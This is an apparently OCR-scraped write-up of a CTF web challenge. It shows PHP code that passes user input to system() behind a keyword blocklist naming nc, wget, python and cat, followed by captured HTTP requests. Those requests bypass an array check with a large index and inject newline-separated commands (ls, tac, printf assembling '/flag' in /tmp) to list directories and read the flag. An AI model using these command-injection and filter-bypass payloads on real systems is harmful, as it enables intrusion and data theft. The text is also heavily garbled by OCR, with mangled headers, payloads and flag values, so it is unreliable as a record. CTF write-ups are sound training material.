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fetuft = F_POST["stuff”];
farray = [Tadmin’, “user’]:
if (fstuff === Sarray && Fstuff[0] '= "admin’) |
froum= §_POST["num”] ;
if  (preg_match("/ wd+$/im”, $rum) ) {
if (lpreg_match{’ssh|wzet |nc|python|php |perl|s? [£lag|} |cat|echo s 5T ssss 7 [ )41, $numd ) {
echo “my faworite num is:
zystem“echo ", fnum) ;
telzel
echo “Bonjour!’ :
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stuff[4294967296 |=admin&stuff|[1]=user&num=123
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Encryption ~ Encoding~ SQL~ XSS~ Other -
@ Load URL http://220.249 52 133:50389/
I splitURL
v Execute .
- Postdata [] Referer [] User Agent [] Cookies Clear All
stufif4294967296]=admin&siufi1]=user&num=123%0als
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Pretty n

% User-Agent:

 Accept-Landguadge :

J Content-Length: 50

Actions v

POST / HTTPR/L.1
Host: ZZ0.249.52,133:50389 2
Mozilla/5.0 (Windows MNT 10.0; Winé4; x64; rv:g8.0)
Gecko,/20100101 Firefox/E8.0

Aceept: text/html,application/zhtmldxml, application/xml;g=0.9,*/*;¢q=0.8
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zh—-CW, zh;q=0.8, eh-TW; q=0.7, zh-HE:qq=0.5,en-US;gq=0.3,en;q=0.2
Aocept—-Encoding: gzip, deflate 8
Connection: close
Upgrade-Insscure-Requests: 1 10
Content-Type: application/x-www-form-urlencodesd 11
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stuff[4294967296] =admingstuff[1l] =usersnun=123%0als
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HTTP/1.1l 200 CE
Server: nginx/l.4.8 (Ubuntu)
Date: Thu, 25 Qect Z0Z0 14:1&:53 GMT
Content-Type: text/html
Connection: close

¥-Powered-By: PHP/5.5.9-lubuntu4.Zg
Content-Length: 33
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1 POST / HTTR/1.1 & 1 HTTR/Ll.l 200 QK

2 Host: 220.249.52.133:503889 " 2 Server: nginx/l.4.€ (Ubuntu)

3 User—-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; =64; rv:es.0) 3 Date: Thu, 29 Qct I0IZ0 14:20:089 GHT

Gecko/2Z0L00L0Ll Firefox/€8.0 4 Content-Type: text/html
Aecept: text/html, application/xhtml+xml, application/xml;q=0.9,*/*;q=0.8 5 Connection: close
 Aocept-Language: € X-Powsred-By: PHP/5.5.9-lubuntu4.zZ9
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zh—-CHN, zh;g=0.8, zh-TW; q=0.7, zh-HE;q=0.5,en-U3;g=0.3,en;qg=0.2 7 Content-Length: 293
& Accept-Encoding: gzip, deflate 8
7 Connection: closes S my favorite num is: 123
2 Upgrade-Insecure-Requests: 1 10 3284127 bin
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31466142 run
31486109 sbin
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1 sys
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1 POST / HTTE/L.1 'y 1 HTTR/L.l1 200 OK
2 Host: Z220.249.52.133:50389 4 2 Server: nginx/l.4.& {(Ubuntu)
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4:; =E4; rv:e8.0) 2 Date: Thu, 29 Oct 2020 14:21:22 GHT
Gecko/20L00L01 Firefox/EB.0 4 Content-Type: text/html
Aocept: text/html,application/xhtml+xml, application/®ml;gq=0.9, %/ *;g=0.8 5 Connection: close

Accept-Language : & ¥-Powered-By: PHP/5.5.9-lubuntu4.z9

zh-CH, zh;q=0.8, eh-TW;=0.7, zh-HE;=0.5,en-U3;q=0.3,en;q=0.2 Content-Length: €8

& Accept-Encoding: gzip, deflate 8

Connection: close S my favorite num is: 123

Z Upgrade-Insecure-Reguests: 1 10 cyberpeace{ £eBbfc3iilcadeffBacsThb4b374be700£d}
S Content-Type: application/x-www-form-urlencoded 11

10 Content-Length: 75

12 stuff[429458e729¢6] =admin&stuff[l] =user&énum=123%0atac “~find / -inum
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stuff[4294967296 |=admin&stuff|1]=user&num=123%0aprintf /fla > /tmp/hello 7%26%26 printf g >> /tmp/hello %26%26 ta
c “tac /tmp/hello”
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1 POST / HTTR/L.1 Y 1 HTTR/1l.l Z00 OK
Z Host: ZZIZ0.249.52.133:50389 P Z Server: nginx/1.4.6 (Ubuntu)
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Wingd:; x£4; rv:E8.0) 3 Date: Thu, 29 OQeot 2020 14:23:34 GHT

Gecko/20100L01 Firefox/E8.0

Accept: text/html, application/xhtml+xml, application/xml;g=0.9,*/*;q=0.8
Accept-Language :

zh—CH, zh;q=0.8, zh-TW;gq=0.7, zh-HE; q=0.5,en-U3; q=0.3,en; gq=0.2

& Accept-Encoding: gzip, deflate g

Connection: close S my favorite num is: 123

2 Upgrade-Insecure-Requests: 1 10 eyberpeace{eBbfciilcadeffBas7h4b374be700Ed})
S Content-Type: application/x-www-form-urlencodesd 11

10 Content-Length: 130

Content-Type: text/html

Connection: close

¥-Powered-By: PHP/5.5.9-lubuntu4.zg9
Content-Length: &8
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12 stuff[4294967296)] =admingstuff[l] =user&nuw=123%0aprintf /fla > /tmp/hello
%2E%2E printf g => /tmp/hello %26%2E tac "tac /tmp/hello’
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